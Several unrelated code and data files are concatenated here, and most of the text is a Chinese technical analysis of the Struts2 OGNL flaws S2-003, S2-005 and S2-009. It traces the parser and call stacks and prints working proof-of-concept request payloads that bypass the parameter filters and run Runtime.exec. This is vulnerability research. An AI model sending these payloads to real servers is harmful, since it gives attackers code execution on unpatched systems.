gathered version major number: '#{@gathered_version_major}'
gathered version stdout version:
#{@gathered_version_stdout})
end
if @gathered_version_major.to_i <= 1
config.compatibility_mode = Ansible::COMPATIBILITY_MODE_V1_8
else
config.compatibility_mode = Ansible::COMPATIBILITY_MODE_V2_0
end
@logger.info(I18n.t("vagrant.provisioners.ansible.compatibility_mode_warning",
compatibility_mode: config.compatibility_mode,
ansible_version: @gathered_version) +
"\n")
end
def set_gathered_ansible_version(stdout_output)
@gathered_version_stdout = stdout_output
if !@gathered_version_stdout.empty?
first_line = @gathered_version_stdout.lines[0]
ansible_version_pattern = first_line.match(/(^ansible\s+)(.+)$/)
if ansible_version_pattern
_, @gathered_version, _ = ansible_version_pattern.captures
if @gathered_version
@gathered_version_major = @gathered_version.match(/^(\d)\..+$/).captures[0].to_i
end
end
end
end
end
end
end
end
| {
"pile_set_name": "Github"
} |
#begin document (wb/sel/62/sel_6208); part 000
wb/sel/62/sel_6208 -1 0 [WORD] XX (TOP* - - - - * -
wb/sel/62/sel_6208 -1 1 [WORD] XX * - - - - * -
wb/sel/62/sel_6208 -1 2 [WORD] XX * - - - - * -
wb/sel/62/sel_6208 -1 3 [WORD] XX * - - - - * -
wb/sel/62/sel_6208 -1 4 [WORD] XX * - - - - * -
wb/sel/62/sel_6208 -1 5 [WORD] XX * - - - - * -
wb/sel/62/sel_6208 -1 6 [WORD] XX * - - - - * -
wb/sel/62/sel_6208 -1 7 [WORD] XX * - - - - * -
wb/sel/62/sel_6208 -1 8 [WORD] XX * - - - - * -
wb/sel/62/sel_6208 -1 9 [WORD] XX * - - - - * -
wb/sel/62/sel_6208 -1 10 [WORD] VERB * hoist - 1 - * -
wb/sel/62/sel_6208 -1 11 [WORD] XX * - - - - * -
wb/sel/62/sel_6208 -1 12 [WORD] XX *) - - - - * -
#end document
| {
"pile_set_name": "Github"
} |
a[b="ab cdefg"]{b:c}
| {
"pile_set_name": "Github"
} |
#!/bin/sh
# Author: Hejun Zhu, hejunzhu@princeton.edu
# Princeton University, New Jersey, USA
# Last modified: Tue Jan 25 17:19:32 EST 2011
if [ ! -f ../../SHARE_FILES/HEADER_FILES/constants.h ]; then
echo WRONG! NO constants.h
exit
fi
if [ ! -f ../../SHARE_FILES/HEADER_FILES/values_from_mesher.h ]; then
echo WRONG! NO values_from_mesher.h
exit
fi
if [ ! -f ../../SHARE_FILES/HEADER_FILES/precision.h ]; then
echo WRONG! NO precision.h
exit
fi
mpif90 -O3 -o xcompute_direction_cg compute_direction_cg.f90 exit_mpi.f90
| {
"pile_set_name": "Github"
} |
# 浅析OGNL表达式求值(S2-003/005/009跟踪调试记录)








<sub>* 在分析Struts2历年RCE的过程中,对OGNL表达式求值(OGNL Expression Evaluation)的执行细节存在一些不解和疑惑,便以本文记录跟踪调试的过程,不对的地方请指正。</sub>
## 前情简介
- S2-003对`#`等特殊字符编码,并包裹在字符串中,利用OGNL表达式求值`(one)(two)`模型绕过限制
- S2-005在基于S2-003的基础上,通过控制`allowStaticMethodAccess`绕过S2-003修复方案
- S2-009通过HTTP传参将Payload赋值在可控的action属性 *(`setter()`/`getter()`)* 中,再利用额外请求参数,设置其名称为『无害』OGNL表达式绕过`ParametersInterceptor`中对参数名的正则限制,并成功执行Payload
### PoC样本
- S2-003
`(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew\u0020java.lang.Boolean(false)))&(asdf)(('\u0023rt.exec(\'calc\')')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1`
- S2-005
`('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew\u0020java.lang.Boolean(false)))&(asdf)(('\u0023rt.exec(\'calc\')')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1`
- S2-009
`foo=(#context['xwork.MethodAccessor.denyMethodExecution']=new java.lang.Boolean(false),#_memberAccess['allowStaticMethodAccess']=new java.lang.Boolean(true),@java.lang.Runtime@getRuntime().exec('calc'))(meh)&z[(foo)('meh')]=true`
## 关于OGNL
### 一点点基础概念
1. `$`,`#`,`@`和`%`
- `$`
在配置文件、国际化资源文件中引用OGNL表达式
- `#`
访问非root对象,相当于`ActionContext.getContext()`
- `@`
访问静态属性、静态方法
- `%`
强制内容为OGNL表达式
1. context和root
- context
OGNL执行上下文环境,HashMap类型
- root
根对象,ArrayList类型 *(默认访问对象,不需要`#`操作符)*
### OGNL表达式求值
Apache官方描述:
> If you follow an OGNL expression with a parenthesized expression, without a dot in front of the parentheses, OGNL will try to treat the result of the first expression as another expression to evaluate, and will use the result of the parenthesized expression as the root object for that evaluation. The result of the first expression may be any object; if it is an AST, OGNL assumes it is the parsed form of an expression and simply interprets it; otherwise, OGNL takes the string value of the object and parses that string to get the AST to interpret.
如果你在任意对象后面紧接着一个带括号的OGNL表达式,而中间没有使用`.`符号连接,那么OGNL将会试着把第一个表达式的计算结果当作一个新的表达式再去计算,并且把带括号表达式的计算结果作为本次计算的根对象。第一个表达式的计算结果可以是任意对象;如果它是一个AST树,OGNL就会认为这是一个表达式的解析形态,然后直接解释它;否则,OGNL会拿到这个对象的字符串值,然后去解释通过解析这个字符串得到的AST树 *(译者注:在root或context中搜索匹配)* 。
> For example, this expression `#fact(30H)` looks up the fact variable, and interprets the value of that variable as an OGNL expression using the BigInteger representation of 30 as the root object. See below for an example of setting the fact variable with an expression that returns the factorial of its argument. Note that there is an ambiguity in OGNL's syntax between this double evaluation operator and a method call. OGNL resolves this ambiguity by calling anything that looks like a method call, a method call. For example, if the current object had a fact property that held an OGNL factorial expression, you could not use this approach to call it `fact(30H)`
例如,表达式`#fact(30H)`会查找这个`fact`变量,并将它的值当作一个使用`30H`作为根对象的OGNL表达式去解释。看下面的例子,设置一个返回传入参数阶乘结果的表达式的`fact`变量。注意,这里存在一个关于二次计算和方法调用之间的OGNL语法歧义。OGNL为了消除歧义,会把任何看起来像方法调用的语法都当作方法去调用。比方说,如果当前对象中存在一个持有OGNL阶乘表达式的`fact`属性,你就不能用`fact(30H)`的形式去调用它
> because OGNL would interpret this as a call to the fact method. You could force the interpretation you want by surrounding the property reference by parentheses: `(fact)(30H)`
因为OGNL将会把它当作一个`fact`方法去调用。你可以像`(fact)(30H)`这样用括号将它括起来,强制让OGNL去对它作解释
漏洞作者 *(Meder Kydyraliev, Google Security Team)* 描述:
> `(one)(two)` will evaluate one as an OGNL expression and will use its return value as another OGNL expression that it will evaluate with two as a root for the evaluation. So if one returns blah, then blah is evaluated as an OGNL statement.
`(one)(two)`将会把`one`当作一个OGNL表达式去计算,然后把它的结果当作另一个以`two`为根对象的OGNL表达式再一次计算。所以,如果`one`有返回内容 *(译者注:能被正常计算,解析为AST树)* ,那么这些内容将会被当作OGNL语句被计算。
*(临时简单的翻译了一下便于自己理解,英语水平有限,比较生硬拗口,没有细究,还是尽量看原文自己理解原意吧)*
根据以上描述也就能够推断,在`('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)`中,`one`是一个字符串,绕过了特殊字符检测,生成AST树后被解码为正常的`#_memberAccess["allowStaticMethodAccess"]`字符串,在第一次计算时拿到的是该字符串,然后尝试对它解析得到AST树,再次计算,导致内部实际Payload被执行。
但是one和two的计算顺序、关系等细节如何?其他嵌套模型的解析如何?仍然存在一些疑问。
## 问题
1. `(one)(two)`模型的具体执行流程
1. `(one)((two)(three))`模型的具体执行流程
1. 在S2-005的PoC中,`denyMethodExecution`和`allowStaticMethodAccess`两者使用的模型是否可以互换 *(位置可以)*
1. 在S2-009的PoC中,`z[(foo)('meh')]`调整执行顺序的原理
1. `(one).(two)`和`one,two`模型的差异
## 开始跟踪调试
### S2-003
调试环境
- struts2-core-2.0.8 *(应升到2.0.9或2.0.11.2,排除S2-001的干扰,以后有时间再做)*
- xwork-core-2.0.3
- ognl-2.6.11
调试过程 *(身体不适者请跳过,直接看问题解决)*
```java
[ 表层关键逻辑 ]
com.opensymphony.xwork2.interceptor.ParametersInterceptor.setParameters()
[ 底层关键逻辑 ]
com.opensymphony.xwork2.util.OgnlUtil.compile()
ognl.ASTEval.getValueBody()
[ 关键调用栈 ]
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept()
-> com.opensymphony.xwork2.util.OgnlContextState.setDenyMethodExecution() // 设置DenyMethodExecution为true,并放入context中
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.setParameters()
// 遍历参数
// 处理第一个参数『(aaa)(('\u0023context...foo')(\u0023foo...(false)))』
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.acceptableName() // 判断参数名称是否包含『=』、『,』、『#』和『:』特殊字符,以及匹配excludeParams正则『dojo\.._』
-> com.opensymphony.xwork2.util.OgnlValueStack.setValue() // 此时expr为第一个参数名的字符串形式,\u0023未解码
-> ognl.OgnlContext.put() // 将expr放入context['conversion.property.fullName']中
-> com.opensymphony.xwork2.util.OgnlUtil.setValue()
-> com.opensymphony.xwork2.util.OgnlUtil.compile() // 生成AST树
// 先尝试在expressions对象缓存HashMap中查找是否已经编译过该expr,是则直接返回查找到的对象
-> ognl.Ognl.parseExpression() // ASTEval类型对象,\u0023在AST树节点中已解码
// 以下为当前表达式的AST树生成过程,非完全通用,仅供参考
-> ognl.OgnlParser.topLevelExpression()
-> ognl.OgnlParser.expression()
-> ognl.OgnlParser.assignmentExpression()
-> ognl.OgnlParser.conditionalTestExpression() // 条件测试
-> ognl.OgnlParser.logicalOrExpression() // 逻辑或
-> ognl.OgnlParser.logicalAndExpression() // 逻辑与
-> ognl.OgnlParser.inclusiveOrExpression() // 或
-> ognl.OgnlParser.exclusiveOrExpression() // 异或
-> ognl.OgnlParser.andExpression() // 与
-> ognl.OgnlParser.equalityExpression() // 相等
-> ognl.OgnlParser.relationalExpression() // 关系
-> ognl.OgnlParser.shiftExpression() // 移位
-> ognl.OgnlParser.additiveExpression() // 加
-> ognl.OgnlParser.multiplicativeExpression() // 乘
-> ognl.OgnlParser.unaryExpression() // 乘
-> ognl.OgnlParser.unaryExpression() // 一元
-> ognl.OgnlParser.navigationChain()
-> ognl.OgnlParser.primaryExpression()
// 定义当前节点(树根)为ASTEval类型
-> ognl.JJTOgnlParserState.openNodeScope()
-> ognl.JJTOgnlParserState.closeNodeScope()
// 遍历节点栈(jjtree.nodes为栈结构,先左后右入栈)
// 右节点
-> ognl.JJTOgnlParserState.popNode() // 右节点『("#context...")(#foo...)』出栈,ASTEval类型
-> ognl.Node.jjtSetParent() // 为出栈(右)节点设置父节点:当前节点(null)
-> ognl.SimpleNode.jjtAddChild() // 为当前节点增加右子节点:出栈(右)节点
// 左节点
-> ognl.JJTOgnlParserState.popNode() // 左节点『aaa』出栈,ASTProperty类型
-> ognl.Node.jjtSetParent() // 为出栈(左)节点设置父节点:当前节点(null)
-> ognl.SimpleNode.jjtAddChild() // 为当前节点增加左子节点:出栈(左)节点
-> ognl.JJTOgnlParserState.pushNode() // 当前节点入栈
-> ognl.Ognl.setValue()
-> ognl.Ognl.addDefaultContext()
-> ognl.SimpleNode.setValue() // ASTEval未重写该方法,调用父类SimpleNode
-> ognl.SimpleNode.evaluateSetValueBody()
-> ognl.OgnlContext.setCurrentNode() // 设置当前节点
-> ognl.ASTEval.setValueBody()
// 取左子节点『aaa』,作为expr
-> ognl.SimpleNode.getValue() // null
-> ognl.SimpleNode.evaluateGetValueBody()
-> ognl.ASTProperty.getValueBody()
-> ognl.ASTProperty.getProperty() // 得到『aaa』字符串
-> ognl.SimpleNode.getValue()
-> ognl.SimpleNode.evaluateGetValueBody()
-> ognl.ASTConst.getValueBody()
-> ognl.OgnlRuntime.getProperty() // null
-> ognl.OgnlRuntime.getPropertyAccessor()
-> ognl.OgnlRuntime.getHandler()
-> com.opensymphony.xwork2.util.CompoundRootAccessor.getProperty()
-> ognl.OgnlRuntime.hasGetProperty()
-> ognl.OgnlRuntime.hasGetMethod() // 是否当前请求action的method
-> ognl.OgnlRuntime.getGetMethod()
-> ognl.OgnlRuntime.hasField() // 是否当前请求action的field
// 取右子节点『("#context...")(#foo...)』,作为target
-> ognl.SimpleNode.getValue()
-> ognl.SimpleNode.evaluateGetValueBody()
-> ognl.ASTEval.getValueBody()
// 取左子节点『"#context..."』,作为expr
-> ognl.SimpleNode.getValue() // 第一次计算,获得当前expr的值为去引号后内部字符串
-> ognl.SimpleNode.evaluateGetValueBody()
-> ognl.ASTConst.getValueBody() // 去两边引号,得到内部字符串
// 取右子节点『#foo...』,作为source
-> ognl.SimpleNode.getValue()
-> ognl.SimpleNode.evaluateGetValueBody()
-> ognl.ASTAssign.getValueBody()
// 取右边值『new java.lang.Boolean(false)』,作为result
-> ognl.SimpleNode.getValue()
-> ognl.SimpleNode.evaluateGetValueBody()
-> ognl.ASTCtor.getValueBody()
-> ognl.OgnlRuntime.callConstructor() // 反射,实例化Boolean(false)
// 取左边值『#foo』,赋值
-> ognl.SimpleNode.setValue()
-> ognl.SimpleNode.evaluateSetValueBody()
-> ognl.ASTVarRef.setValueBody()
-> ognl.OgnlContext.put() // 将『#foo: false』放入context中
// 如果expr是AST节点,就强转Node接口类型(泛型),否则解析
-> ognl.Ognl.parseExpression() // 将expr字符串解析为AST树,过程同上,略
-> ognl.OgnlContext.setRoot() // 将source值覆盖当前root
-> ognl.SimpleNode.getValue() // 第二次计算,获得当前expr的值为『false』
-> ognl.SimpleNode.evaluateGetValueBody()
-> ognl.ASTAssign.getValueBody()
// 取右边值『#foo』,作为result
-> ognl.SimpleNode.getValue()
-> ognl.SimpleNode.evaluateGetValueBody()
-> ognl.ASTVarRef.getValueBody()
-> ognl.OgnlContext.get() // 从context中取出『#foo』值,false
// 取左边值『#context...』,赋值
-> ognl.SimpleNode.setValue()
-> ognl.SimpleNode.evaluateSetValueBody()
-> ognl.ASTChain.setValueBody()
// 取左边值『#context』,作为target
-> ognl.SimpleNode.getValue()
-> ognl.SimpleNode.evaluateGetValueBody()
-> ognl.ASTVarRef.getValueBody()
-> ognl.OgnlContext.get() // 从context中取出『#context』值,当前OgnlContext
// 取出右边值『[...]』
-> ognl.SimpleNode.setValue()
-> ognl.SimpleNode.evaluateSetValueBody()
-> ognl.ASTProperty.setValueBody()
-> ognl.ASTProperty.getProperty() // 得到『xwork.MethodAccessor.denyMethodExecution』字符串
-> ognl.OgnlRuntime.setProperty()
-> ognl.OgnlRuntime.getPropertyAccessor()
-> ognl.OgnlRuntime.getHandler() // 得到XWorkMapPropertyAccessor对象
-> com.opensymphony.xwork2.util.XWorkMapPropertyAccessor.setProperty()
-> com.opensymphony.xwork2.util.XWorkMapPropertyAccessor.getKey() // 得到"xwork.MethodAccessor.denyMethodExecution"字符串
-> com.opensymphony.xwork2.util.XWorkMapPropertyAccessor.getValue() // false
-> ognl.OgnlContext.put() // 修改『xwork.MethodAccessor.denyMethodExecution』值为false
// expr为null,抛异常,清除context中存储的临时键值对
// 处理第二个参数,结构与第一个类似
```
问题解决
- 问题1:`(one)(two)`模型的具体执行流程
`(one)(two)`模型生成的AST树属于ASTEval类型,大致执行流程如下:
1. 计算`one`,结果赋值给变量expr
1. 计算`two`,结果赋值给变量source
1. 判断expr是否Node类型 *(AST树)* ,否则以其字符串形式进行解析 *(`ognl.Ognl.parseExpression()`)* ,结果都强制转换成Node类型并赋值给node
1. 临时将source放入当前root中
1. 计算node
1. 还原root
1. 返回结果
- 问题2:`(one)((two)(three))`模型的具体执行流程
`(one)((two)(three))`模型属于`(one)(two)`模型的嵌套形式,完全可以参考问题1,执行流程就不再详述了。
### S2-005
调试环境
- struts2-core-2.1.8.1
- xwork-core-2.1.6
- ognl-2.7.3
调试过程
```java
[ 表层关键逻辑 ]
com.opensymphony.xwork2.interceptor.ParametersInterceptor.setParameters()
[ 底层关键逻辑 ]
com.opensymphony.xwork2.util.OgnlUtil.compile()
ognl.ASTEval.setValueBody()
[ 关键调用栈 ]
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept()
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.setParameters()
// 遍历参数
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.acceptableName()
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.isAccepted() // 判断参数名称是否匹配acceptedPattern正则『[[\p{Graph}\s]&&[^,#:=]]_』
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.isExcluded() // 判断参数名称是否匹配excludeParams正则『dojo\.._』和『^struts\.._』
// 校验通过,则将参数键值对放入acceptableParameters中
-> com.opensymphony.xwork2.util.reflection.ReflectionContextState.setDenyMethodExecution() // 设置DenyMethodExecution为true,并放入context中
-> com.opensymphony.xwork2.ognl.OgnlValueStack.setExcludeProperties()
-> com.opensymphony.xwork2.ognl.SecurityMemberAccess.setExcludeProperties() // 将excludeParams放入OgnlValueStack.securityMemberAccess中(securityMemberAccess与context、root同级,其中allowStaticMethodAccess默认为false)
// 遍历acceptableParameters(合规参数)
// 处理第一个参数『('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)』
-> com.opensymphony.xwork2.ognl.OgnlValueStack.setValue()
-> com.opensymphony.xwork2.ognl.OgnlUtil.setValue()
-> com.opensymphony.xwork2.ognl.OgnlUtil.compile() // 生成AST树
-> ognl.Ognl.setValue()
-> ognl.Ognl.addDefaultContext()
-> ognl.SimpleNode.setValue()
-> ognl.SimpleNode.evaluateSetValueBody()
-> ognl.ASTEval.setValueBody()
-> ognl.SimpleNode.getValue() // 取左子节点『"#_memberAccess..."』,计算得内部字符串,作为expr
-> ognl.SimpleNode.getValue() // 取右子节点『meh』,计算得null,作为target
-> ognl.Ognl.parseExpression() // 将expr解析为AST树
-> ognl.OgnlContext.setRoot()
-> ognl.SimpleNode.setValue()
-> ognl.SimpleNode.evaluateSetValueBody()
-> ognl.ASTChain.setValueBody()
-> ognl.SimpleNode.getValue() // 取左子节点『#_memberAccess』,计算得SecurityMemberAccess对象
-> ognl.SimpleNode.evaluateGetValueBody()
-> ognl.ASTVarRef.getValueBody()
-> ognl.OgnlContext.get()
-> ognl.OgnlContext.getMemberAccess()
-> ognl.SimpleNode.setValue() // 取右子节点『["..."]』
-> ognl.SimpleNode.evaluateSetValueBody()
-> ognl.ASTProperty.setValueBody()
-> ognl.ASTProperty.getProperty() // 得到『allowStaticMethodAccess』字符串
-> ognl.OgnlRuntime.setProperty()
-> ognl.OgnlRuntime.getPropertyAccessor()
-> ognl.OgnlRuntime.getHandler()
-> com.opensymphony.xwork2.ognl.accessor.ObjectAccessor.setProperty()
-> ognl.ObjectPropertyAccessor.setProperty()
-> ognl.ObjectPropertyAccessor.setPossibleProperty()
-> ognl.OgnlRuntime.setMethodValue()
-> ognl.OgnlRuntime.getSetMethod() // 得到『setAllowStaticMethodAccess()』方法
-> com.opensymphony.xwork2.ognl.SecurityMemberAccess.isAccessible() // 判断方法是否合规
-> ognl.OgnlRuntime.callAppropriateMethod() // 修改『allowStaticMethodAccess』值为true
// 处理其余参数,与S2-003流程类似
```
问题解决
- 问题3:`denyMethodExecution`和`allowStaticMethodAccess`两者使用的模型是否可以互换
`denyMethodExecution`存在于OgnlContext.values(即对外暴露的context本身)HashMap中,而`allowStaticMethodAccess`存在于OgnlValueStack.securityMemberAccess(与context同级,可以使用`#_memberAccess`取到)对象中。
1. 将`allowStaticMethodAccess`参照`denyMethodExecution`模型改写,执行成功
1. 将`denyMethodExecution`参照`allowStaticMethodAccess`模型改写,执行失败,原因分析如下:
- `denyMethodExecution`的accessor是XWorkMapPropertyAccessor类型,赋值即对context进行`map.put()`,在value为数组的情况下,会原样赋值为数组,[0]元素为字符串『false』,导致失败
- `allowStaticMethodAccess`的accessor是ObjectAccessor类型,赋值即通过反射调用对应的`setAllowStaticMethodAccess()`方法,传参刚好为数组,可被正常拆解为其中的单个元素
### S2-009
调试环境
- struts2-core-2.3.1.1
- xwork-core-2.3.1.1
- ognl-3.0.3
调试过程
```java
[ 表层关键逻辑 ]
com.opensymphony.xwork2.interceptor.ParametersInterceptor.setParameters()
[ 底层关键逻辑 ]
com.opensymphony.xwork2.util.OgnlUtil.compile()
ognl.ASTEval.setValueBody()
[ 关键调用栈 ]
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept()
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.setParameters()
// 遍历参数
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.acceptableName()
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.isAccepted() // 判断参数名称是否匹配acceptedPattern正则『[a-zA-Z0-9\.\]\[\(\)_']+』
-> com.opensymphony.xwork2.interceptor.ParametersInterceptor.isExcluded() // 判断参数名称是否匹配excludeParams正则『dojo\.._』和『^struts\.._』
// 校验通过,则将参数键值对放入acceptableParameters中
-> com.opensymphony.xwork2.util.reflection.ReflectionContextState.setDenyMethodExecution() // 设置DenyMethodExecution为true,并放入context中
-> com.opensymphony.xwork2.ognl.OgnlValueStack.setExcludeProperties() // 将excludeParams放入OgnlValueStack.securityMemberAccess中(其中allowStaticMethodAccess默认为false)
// 遍历acceptableParameters(合规参数)
// 处理第一个参数『foo』(值为『(#context...)(meh)』)
-> com.opensymphony.xwork2.ognl.OgnlValueStack.setValue()
-> com.opensymphony.xwork2.ognl.OgnlValueStack.trySetValue()
-> com.opensymphony.xwork2.ognl.OgnlUtil.setValue()
-> com.opensymphony.xwork2.ognl.OgnlUtil.compile() // 生成AST树
-> ognl.Ognl.setValue() // 将root[0](即当前请求action)中的foo设置为『(#context...)(meh)』字符串
// 处理第二个参数『z[(foo)('meh')]』
-> com.opensymphony.xwork2.ognl.OgnlValueStack.setValue()
-> com.opensymphony.xwork2.ognl.OgnlValueStack.trySetValue()
-> com.opensymphony.xwork2.ognl.OgnlUtil.setValue()
-> com.opensymphony.xwork2.ognl.OgnlUtil.compile() // 生成AST树
-> ognl.Ognl.setValue() // 『z[()()]』为ASTChain类型,两个子节点『z』和『[()()]』都为ASTProperty类型,后者会先对其第一个子节点『()()』计算
```
问题解决
- 问题4:`z[(foo)('meh')]`调整执行顺序的原理
经调试,在`Dispatcher.createContextMap()`中会将LinkedHashMap类型的`request.parameterMap`转换为HashMap类型存储在`ActionContext`的`parameters`和`com.opensymphony.xwork2.ActionContext.parameters`中 *(此时顺序不变)* 。
1. `StaticParametersInterceptor.intercept()`中`addParametersToContext()`会将`config.params`与`ActionContext`的`com.opensymphony.xwork2.ActionContext.parameters`合并为一个TreeMap *(TreeMap是红黑树,按key值的自然顺序动态排序,可参考Java的字符串大小比较)* ,并覆盖`ActionContext`中的原值
1. `ParametersInterceptor.doIntercept()`中`retrieveParameters()`获取的是`com.opensymphony.xwork2.ActionContext.parameters`的值,因此漏洞作者给出的PoC中给出`z[()()]`形式来保证它的排序靠后 *(`z`字符的ASCII码在可见字符中非常靠后,而`(`字符较靠前)* 。
- 问题5:`(one).(two)`和`one,two`模型的差异
提取S2-009中Payload进行分析,两种模型都能正常执行,细节差异如下:
1. `(one).(two)`被解析成`one.two`,ASTChain类型 *(遍历子节点计算,前子节点的计算结果作为临时root代入后子节点进行计算,返回最后一个子节点的计算结果)* ,以`.`字符分隔各子节点,Payload样本被分解为4个子节点 *(`@java.lang.Runtime@getRuntime().exec('calc')`被分解为`@java.lang.Runtime@getRuntime()`和`exec('calc')`)*
1. `one,two`被解析成`one,two`,ASTSequence类型 *(遍历子节点计算,返回最后一个子节点的计算结果)* ,以`,`字符分隔各子节点,Payload样本被正常分解为3个子节点
## OGNL ASTNode
问题解决了,可是留下的坑还有很多。
在分析过程中可以发现,OGNL尝试把各种表达式根据其结构等特征归属到不同的SimpleNode子类中,且各子类都根据自己的特性需求对父类的部分方法进行了重写,这些特性可能导致表达式最终执行结果受到影响,特别是在构造PoC的时候。因此,将各个子类的特性都了解清楚,会有助于加深对OGNL表达式解析和计算的理解。
*(本章节的OGNL相关内容以struts-2.3.33依赖的ognl-3.0.19为分析对象,其他版本或有差异,请自行比对)*
首先当然是他们的父类:
1. SimpleNode *(仅对计算相关的方法作解释,解析编译相关的方法也暂略)*
- 主要方法
- `public SimpleNode(int)`
- `public SimpleNode(OgnlParser, int)`
- `public void jjtOpen()`
- `public void jjtClose()`
- `public void jjtSetParent(Node)`
- `public Nod jjtGetParent()`
- `public void jjtAddChild(Node, int)`
- `public Node jjtGetChild(int)`
- `public int jjtGetNumChildren()`
- `public String toString()`
- `public String toString(String)`
- `public String toGetSourceString(OgnlContext, Object)`
- `public String toSetSourceString(OgnlContext, Object)`
- `public void dump(PrintWrite, String)`
- `public int getIndexInParent()`
- `public Node getNextSibling()`
- `protected Object evaluateGetValueBody(OgnlContext, Object)`
调用`getValueBody()`方法 *(如果已经求过值,且存在固定值,则直接返回固定值)*
- `protected void evaluateSetValueBody(OgnlContext, Object, Object)`
调用`setValueBody()`方法
- `public final Object getValue(OgnlContext, Object)`
调用`evaluateGetValueBody()`方法 *(子类不允许复写)*
- `protected abstract Object getValueBody(OgnlContext, Object)`
抽象方法 *(子类必须实现)*
- `public final void setValue(OgnlContext, Object, Object)`
调用`evaluateSetValueBody()`方法 *(子类不允许复写)*
- `protected void setValueBody(OgnlContext, Object, Object)`
抛出InappropriateExpressionException异常
- `public boolean isNodeConstant(OgnlContext)`
返回`false`
- `public boolean isConstant(OgnlContext)`
调用`isNodeConstant()`方法
- `public boolean isNodeSimpleProperty(OgnlContext)`
返回`false`
- `public boolean isSimpleProperty(OgnlContext)`
调用`isNodeSimpleProperty()`方法
- `public boolean isSimpleNavigationChain(OgnlContext)`
调用`isSimpleProperty()`方法
- `public boolean isEvalChain(OgnlContext)`
任意子节点的`isEvalChain()`结果为`true`则返回`true`,否则返回`false`
- `public boolean isSequence(OgnlContext)`
任意子节点的`isSequence()`结果为`true`则返回`true`,否则返回`false`
- `public boolean isOperation(OgnlContext)`
任意子节点的`isOperation()`结果为`true`则返回`true`,否则返回`false`
- `public boolean isChain(OgnlContext)`
任意子节点的`isChain()`结果为`true`则返回`true`,否则返回`false`
- `public boolean isSimpleMethod(OgnlContext)`
返回`false`
- `protected boolean lastChild(OgnlContext)`
- `protected void flattenTree()`
- `public ExpressionAccessor getAccessor()`
返回`_accessor`变量
- `public void setAccessor(ExpressionAccessor)`
设置`_accessor`变量
再来是ASTNode大家族:
1. ASTAssign
- 表现形式
- `one = two`
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
右节点的计算结果作为result,传入左节点的`setValue()`方法,返回result
- `public boolean isOperation(OgnlContext)`
返回`true`
1. ASTChain
- 表现形式
- `one.two`
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
遍历子节点计算 *(IndexedProperty类型调用`OgnlRuntime.getIndexProperty()`方法,其他调用`getValue()`方法)* ,且前后子节点成菊花链,返回最后一个子节点的计算结果
- `protected void setValueBody(OgnlContext, Object)`
遍历最后一个子节点外的其他子节点计算 *(基本同上)* ,调用最后一个子节点的`setValue()`方法 *(IndexedProperty类型则是遍历到倒数第二个子节点时调用`OgnlRuntime.setIndexedProperty()`方法)*
- `public boolean isSimpleNavigationChain(OgnlContext)`
所有子节点的`isSimpleProperty()`结果都为`true`则返回`true`,否则返回`false`
- `public bollean isChain(OgnlContext)`
返回`true`
1. ASTConst
- 表现形式
- `null`
null *(字符串形式)*
- `"one"`
String类型
- `'o'`
Character类型
- `0L`
Long类型
- `0B`
BigDecimal类型
- `0H`
BigInteger类型
- `:[ one ]`
Node类型
- 实现/重写方法
- `public void setValue(Object)`
设置`value`变量
- `public Object getValue()`
返回`value`变量
- `protected Object getValueBody(OgnlContext, Object)`
返回`value`变量
- `public boolean isNodeConstant(OgnlContext)`
返回`true`
1. ASTCtor
- 表现形式
- `new one[two]`
默认初始化数组
- `new one[] two`
静态初始化数组
- `new one()`
无参对象
- `new one(two, three)`
含参对象
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
遍历子节点计算,结果放入`args`数组变量,并传入`OgnlRuntime.callConstructor()`方法 *(如果是数组,则调用`Array.newInstance()`方法)* ,返回实例化对象
1. ASTEval
- 表现形式
- `(one)(two)`
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
左节点的计算结果作为expr,右节点的计算结果作为source,判断expr是否为Node类型,否则解析,结果作为node,source放入root中,并传入node计算
- `protected void setValueBody(OgnlContext, Object, Object)`
左节点的计算结果作为expr,右节点的计算结果作为target,判断expr是否为Node类型,否则解析,结果作为node,target放入root中,并传入node的`setValue()`方法
- `public boolean isEvalChain(OgnlContext)`
返回`true`
1. ASTKeyValue
- 表现形式
- `one -> two`
- 实现/重写方
- `protected Object getValueBody(OgnlContext, Object)`
返回`null`
1. ASTList
- 表现形式
- `{ one, two }`
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
遍历子节点计算,结果放入ArrayList对象,遍历结束后返回
1. ASTMap
- 表现形式
- `#@one@{ two : three, four : five }` *(存在类名)*
- `#{ one : two, three : four }`
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
根据类名实例化Map对象 *(如果没有类名就是默认的LinkedHashMap类型)* ,遍历子节点,当前子节点 *(ASTKeyValue类型)* 为key,其计算结果为value,放入Map中
1. ASTMethod
- 表现形式
- `one()` *(无参方法)*
- `one(two, three)` *(含参方法)*
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
遍历子节点计算,结果放入`args`数组变量,并传入`OgnlRuntime.callMethod()`方法,如果结果为空 *(即无此方法)* ,则设置空方法执行结果,返回执行结果
- `public boolean isSimpleMethod(OgnlContext)`
返回`true`
1. ASTProject
- 表现形式
- `{ one }`
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
